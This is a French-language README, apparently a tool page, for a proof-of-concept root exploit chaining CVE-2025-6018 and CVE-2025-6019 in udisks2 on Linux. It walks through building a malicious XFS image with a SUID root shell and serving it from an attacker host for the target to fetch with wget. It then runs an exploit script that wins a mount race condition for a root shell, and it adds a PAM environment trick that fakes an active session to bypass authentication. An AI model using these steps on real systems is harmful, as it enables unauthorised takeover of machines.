La chaîne de destruction

1. Préparation : Nous créons une image XFS malveillante contenant un shell root SUID statique.
2. Contournement : Nous nous appuyons sur l'état Active=yes de la session pour monter cette image en tant que périphérique loop sans mot de passe.
3. Déclenchement : Nous émettons un appel D-Bus vers Filesystem.Check. Cela force udisks2 à monter temporairement l'image pour la vérifier. Crucialement, ce montage temporaire ne possède pas nosuid.
4. Condition de course : Un programme C compilé (« The Sniper ») surveille /proc/mounts en temps réel. Dès que le montage temporaire apparaît, il exécute la charge utile SUID avant que le système ne le démonte.

Utilisation

Phase 1 : Préparation (machine attaquante)

Étant donné que la machine cible manque souvent d'outils comme mkfs.xfs ou gcc, nous générons la charge utile localement.

1. Exécutez le script de construction sur Kali/Parrot :

   root@kitploit:~

   ./build_poc.sh
   

   • Crée exploit.img (image XFS de 400 Mo avec shell SUID).
   • Compile catcher (le gagnant de la condition de course).

2. Téléversez les fichiers vers la cible : Démarrez un serveur Python :

   root@kitploit:~

   python3 -m http.server 80
   

   Sur la machine cible (par exemple, dans /tmp) :

   root@kitploit:~

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Phase 2 : Exploitation (machine cible)

1. Téléchargez le script d'exploitation : Enregistrez le contenu de exploit.sh de ce dépôt sur la machine cible.

2. Exécutez l'exploit :

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

3. Profitez du root : Le script configurera automatiquement le périphérique loop, démarrera le catcher en arrière-plan et déclenchera la vulnérabilité. Vous devriez être immédiatement placé dans un shell root.

Dépannage

« Authentification requise pour configurer un périphérique loop »

Si le script demande un mot de passe, votre session SSH n'est pas active. Correctif :

1. Créez ~/.pam_environment :
   root@kitploit:~

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Déconnectez-vous et reconnectez-vous.
3. Vérifiez avec loginctl show-session $XDG_SESSION_ID | grep Active. Il doit afficher Active=yes.

« Échec de la condition de course / Pas de shell »

La fenêtre vulnérable ne dure que quelques millisecondes.

• Assurez-vous d'utiliser le catcher compilé en C (inclus dans build_poc.sh), et non une boucle Bash.
• Le script utilise la méthode Filesystem.Check, qui est plus fiable que Resize.

Manifeste des fichiers

build_poc.sh (côté attaquant)

Automatise la création de l'image malveillante et compile les binaires statiques.

exploit.sh (côté cible)

L'orchestrateur. Il gère :

1. La vérification de la session active.
2. Le démarrage du catcher en arrière-plan.
3. La configuration du périphérique loop via udisksctl.
4. Le déclenchement de l'appel D-Bus Filesystem.Check.

Crédits

• Découverte originale : équipe de recherche Qualys (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/